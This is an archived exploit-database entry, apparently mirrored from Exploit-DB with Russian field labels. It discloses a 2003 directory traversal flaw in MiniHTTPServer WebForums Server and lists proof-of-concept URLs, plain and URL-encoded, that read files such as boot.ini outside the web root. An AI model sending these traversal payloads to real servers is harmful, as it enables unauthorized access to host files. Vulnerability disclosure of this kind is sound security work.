Exploit MiniHTTPServer Web Forums Server 1.x/2.0 - Directory Traversal

[Exploiter]

EDB-ID

22795

Проверка EDB

1. Пройдено

Автор

DR_INSANE

Тип уязвимости

REMOTE

Платформа

WINDOWS

CVE

N/A

Дата публикации

2003-06-18

source: https://www.securityfocus.com/bid/7955/info

It has been reported that WebForums Server does not properly handle some types of requests. Because of this, attackers may be able to gain access to files on the host server with the privileges of the web server process.

http://www.example.com/../../../../autoexec.bat
http://www.example.com/../../../autoexec.bat
http://www.example.com/../../boot.ini
http://www.example.com/../../boot.ini
http://www.example.com/../../../boot.ini
http://www.example.com/../../../boot.ini

Additional directory traversal proof of concepts had been provided by R00tCr4ck <root cyberspy org>:

http://www.example.com/..\..\..\file.ext
http://www.example.com/../../../file.ext
or as encoded format:
http://www.example.com/%2E%2E%5C%2E%2E%5C%2E%2E%5Cfile.ext
http://www.example.com/%2E%2E%2F%2E%2E%2F%2E%2E%2Ffile.ext